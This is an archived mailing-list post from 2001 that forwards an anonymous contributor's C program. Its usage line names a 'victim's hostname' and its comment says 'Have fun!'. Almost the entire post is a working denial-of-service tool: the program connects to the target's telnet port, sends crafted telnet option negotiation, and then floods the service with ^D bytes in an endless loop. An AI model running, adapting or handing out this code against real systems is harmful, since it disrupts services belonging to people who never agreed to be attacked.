>From an anonymous contributor. Should compile under UNIX as well.
---------- Forwarded message ----------
/*
** To make, if your system is BSD'ish: gcc <thisfile>
** ...if your system is SysV'ish: gcc -lnsl -lsocket <thisfile>
**
** Usage: a.out <victim's hostname>
**
** Have fun!
*/
#ifdef WIN32
#include <winsock.h>
#include <stdio.h>
/*NT doesn't have <arpa/telnet.h>
* so swipe the BSD header and stick it in your
* working dir*/
#include "telnet.h"
#else
#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <arpa/telnet.h>
#include <string.h>
#include <unistd.h>
#endif
#define BUFSIZE 100
#define DOTS
void catchit(void)
{
printf("\nCaught SIGPIPE -- your link may be too slow.\n");
exit(1);
}
#ifdef WIN32
void InitWinsock(void)
{
WORD VersionRequested;
WSADATA WsaData;
VersionRequested = MAKEWORD(1, 1);
if(WSAStartup(VersionRequested, &WsaData) != 0)
{
printf("Could not initialize Winsock\n");
exit(-1);
}
}
#endif
int main(int argc, char *argv[])
{
unsigned char kludge_telopt[] = {IAC,WONT,TELOPT_TTYPE,IAC,DO, \
TELOPT_SGA,IAC,WONT,TELOPT_XDISPLOC,IAC,WONT,TELOPT_NAWS,IAC,WONT, \
TELOPT_OLD_ENVIRON,IAC,WONT,TELOPT_NEW_ENVIRON,IAC,DO,TELOPT_ECHO};
unsigned char nastybuf[BUFSIZE];
struct sockaddr_in sin;
struct servent *sp;
struct hostent *hp;
int s;
#ifndef WIN32
typedef void (*sig_t) (int);
signal(SIGPIPE,(sig_t)catchit);
#else
InitWinsock();
#endif
memset(nastybuf,4,BUFSIZE); /* ascii 4 = ^D */
if (!(s = socket(AF_INET, SOCK_STREAM, 0))) {
printf("no socket\n");
exit(1);
}
if (!(hp = gethostbyname(argv[1]))) {
printf("unknown host\n");
exit(1);
}
memset(&sin, 0, sizeof(sin));
memcpy((char *)&sin.sin_addr, hp->h_addr, hp->h_length);
sin.sin_family = AF_INET;
sp = getservbyname("telnet","tcp");
sin.sin_port = sp->s_port;
if (connect(s, (struct sockaddr *)&sin, sizeof(sin)) == -1) {
printf("can't connect to host\n");
exit(1);
}
printf("connected to %s\n", argv[1]);
send(s, kludge_telopt, 21, 0); /* kludge some telnet negotiation */
/* "Let them eat ^Ds..." */
while (send(s, nastybuf, BUFSIZE, 0) != -1) {
#ifdef DOTS
putchar('.');
#endif
}
return 0;
}
This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 13:35:45 PDT